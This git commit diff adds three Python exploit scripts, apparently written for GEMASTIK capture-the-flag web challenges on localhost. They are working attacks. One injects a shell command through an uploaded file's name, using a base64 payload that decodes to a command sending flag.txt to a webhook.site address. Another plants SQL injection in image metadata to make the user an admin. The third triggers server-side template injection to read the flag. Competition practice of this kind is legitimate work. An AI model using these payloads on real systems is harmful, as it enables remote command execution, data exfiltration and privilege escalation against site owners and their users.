add exploits for cdn and blogpost
This commit is contained in:
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
from pathlib import Path
|
||||
import random
|
||||
import string
|
||||
|
||||
HOST = "http://localhost:4413"
|
||||
REGISTER_URL = HOST + "/register"
|
||||
LOGIN_URL = HOST + "/login"
|
||||
CREATE_URL = HOST + "/create"
|
||||
HOME_URL = HOST + "/"
|
||||
PROFILE_URL = HOST + "/profile"
|
||||
|
||||
LOCAL_IMAGE = "test.png" # a valid image file on your machine
|
||||
# Generate random username and password
|
||||
def generate_random_string(length=8):
|
||||
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
||||
|
||||
USERNAME = generate_random_string()
|
||||
PASSWORD = generate_random_string()
|
||||
# choose payload variant: either use subshell $() or backticks `...`
|
||||
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
|
||||
|
||||
# choose which to use:
|
||||
filename_payload = filename_payload # or payload_backticks
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Registration failed. Status:", r.status_code)
|
||||
# print("Response:", r.text[:400])
|
||||
exit(1)
|
||||
else:
|
||||
print(f"Registered user: {USERNAME}")
|
||||
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Login request status:", r.status_code)
|
||||
print("Response:", r.text[:400])
|
||||
else:
|
||||
print("Login attempted. Cookies:", s.cookies.get_dict())
|
||||
|
||||
# 2) upload file with crafted filename in multipart
|
||||
img_path = Path(LOCAL_IMAGE)
|
||||
if not img_path.exists():
|
||||
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
||||
|
||||
with open(img_path, "rb") as fh:
|
||||
# requests allows sending a custom filename (first item in tuple)
|
||||
files = {
|
||||
"image": (filename_payload, fh, "image/jpeg")
|
||||
}
|
||||
data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"}
|
||||
r = s.post(CREATE_URL, data=data, files=files)
|
||||
print("Upload response:", r.status_code)
|
||||
# optionally print a bit of response to see if anything obvious happened
|
||||
print(r.text[:800])
|
||||
|
||||
# 3) fetch profile to see if you are admin and flag is shown
|
||||
r = s.get(PROFILE_URL)
|
||||
print("Profile status:", r.status_code)
|
||||
print(r.text[:1200])
|
||||
@@ -0,0 +1,95 @@
|
||||
import requests
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
print("SQLi (VULN 2) Exploit")
|
||||
|
||||
HOST = "http://localhost:4413"
|
||||
REGISTER_URL = HOST + "/register"
|
||||
LOGIN_URL = HOST + "/login"
|
||||
CREATE_URL = HOST + "/create"
|
||||
HOME_URL = HOST + "/"
|
||||
PROFILE_URL = HOST + "/profile"
|
||||
|
||||
# Generate random username and password
|
||||
def generate_random_string(length=8):
|
||||
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
||||
|
||||
USERNAME = generate_random_string()
|
||||
PASSWORD = generate_random_string()
|
||||
LOCAL_IMAGE = "sqli.png" # Image to be modified with SQLi payload
|
||||
|
||||
# 1) Modify the image with exiftool to embed SQLi payload
|
||||
sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--"
|
||||
try:
|
||||
subprocess.run([
|
||||
"exiftool",
|
||||
"-overwrite_original",
|
||||
f"-Comment={sqli_payload}",
|
||||
LOCAL_IMAGE
|
||||
], check=True)
|
||||
print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata")
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"Failed to modify image with exiftool: {e}")
|
||||
exit(1)
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
# 2) Register a new user
|
||||
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Registration failed. Status:", r.status_code)
|
||||
# print("Response:", r.text[:400])
|
||||
exit(1)
|
||||
else:
|
||||
print(f"Registered user: {USERNAME}")
|
||||
|
||||
# 3) Login with the new user
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Login failed. Status:", r.status_code)
|
||||
# print("Response:", r.text[:400])
|
||||
exit(1)
|
||||
else:
|
||||
print("Logged in successfully. Cookies:", s.cookies.get_dict())
|
||||
|
||||
# 4) Upload the modified sqli.png image when creating a post
|
||||
img_path = Path(LOCAL_IMAGE)
|
||||
if not img_path.exists():
|
||||
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
||||
|
||||
with open(img_path, "rb") as fh:
|
||||
files = {
|
||||
"image": (LOCAL_IMAGE, fh, "image/png")
|
||||
}
|
||||
data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
|
||||
r = s.post(CREATE_URL, data=data, files=files)
|
||||
print("Upload response status:", r.status_code)
|
||||
# print("Upload response:", r.text[:800])
|
||||
|
||||
# 5) Get the home page to find the newest post ID
|
||||
r = s.get(HOME_URL)
|
||||
print("Home page status:", r.status_code)
|
||||
|
||||
# Extract post IDs using regex
|
||||
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||
if post_ids:
|
||||
max_id = max(map(int, post_ids))
|
||||
print(f"Newest post ID: {max_id}")
|
||||
else:
|
||||
print("No post IDs found on home page.")
|
||||
exit(1)
|
||||
|
||||
# 6) Visit the profile page and search for the flag
|
||||
r = s.get(PROFILE_URL)
|
||||
print("Profile page status:", r.status_code)
|
||||
flag_pattern = r"GEMASTIK\{.*?\}"
|
||||
flag = re.search(flag_pattern, r.text)
|
||||
if flag:
|
||||
print("Flag found:", flag.group(0))
|
||||
else:
|
||||
print("Flag not found in response.")
|
||||
# print("Response snippet:", r.text[:1200])
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1012 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1012 KiB |
@@ -0,0 +1,91 @@
|
||||
import os
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
from pathlib import Path
|
||||
import requests
|
||||
|
||||
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
|
||||
|
||||
HOST = "http://localhost:4414"
|
||||
REGISTER_URL = f"{HOST}/register"
|
||||
LOGIN_URL = f"{HOST}/login"
|
||||
UPLOAD_URL = f"{HOST}/upload"
|
||||
HOME_URL = f"{HOST}/"
|
||||
|
||||
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik
|
||||
|
||||
def rnd(n=8):
|
||||
alpha = string.ascii_lowercase + string.digits
|
||||
return ''.join(random.choices(alpha, k=n))
|
||||
|
||||
USERNAME = rnd()
|
||||
PASSWORD = rnd()
|
||||
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata
|
||||
|
||||
s = requests.Session()
|
||||
s.headers.update({"User-Agent": "ssti-exp/1.0"})
|
||||
|
||||
def ok_or_redirect(resp):
|
||||
return 200 <= resp.status_code < 400
|
||||
|
||||
# 1) Register (allow redirects)
|
||||
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Registration failed")
|
||||
raise SystemExit(1)
|
||||
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
|
||||
|
||||
# 2) Login (allow redirects)
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Login failed")
|
||||
raise SystemExit(1)
|
||||
print("[+] Logged in")
|
||||
|
||||
# 3) Upload image (title + image)
|
||||
img_path = Path(LOCAL_IMAGE)
|
||||
if not img_path.exists():
|
||||
raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
|
||||
|
||||
with img_path.open("rb") as fh:
|
||||
files = {"image": (img_path.name, fh, "image/png")}
|
||||
data = {"title": "SSTI Exploit"}
|
||||
r = s.post(UPLOAD_URL, data=data, files=files,
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Upload failed")
|
||||
raise SystemExit(1)
|
||||
print("[+] Upload complete")
|
||||
|
||||
# 4) Home → cari post id terbaru
|
||||
r = s.get(HOME_URL, timeout=TIMEOUT)
|
||||
print(f"[i] Home -> {r.status_code}")
|
||||
if r.status_code != 200:
|
||||
print("[x] Failed to load home")
|
||||
raise SystemExit(1)
|
||||
|
||||
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||
if not post_ids:
|
||||
print("[-] No posts found on home.")
|
||||
# print(r.text[:800])
|
||||
raise SystemExit(1)
|
||||
|
||||
pid = max(map(int, post_ids))
|
||||
post_url = f"{HOST}/post/{pid}"
|
||||
print(f"[+] Newest post: {post_url}")
|
||||
|
||||
# 5) Trigger SSTI dan cari flag
|
||||
r = s.get(post_url, timeout=TIMEOUT)
|
||||
print(f"[i] Post -> {r.status_code}")
|
||||
m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
|
||||
if m:
|
||||
print("[+] Flag:", m.group(0))
|
||||
else:
|
||||
print("[-] Flag not found in response.")
|
||||
print(r.text[:1200])
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1012 KiB |
Reference in New Issue
Block a user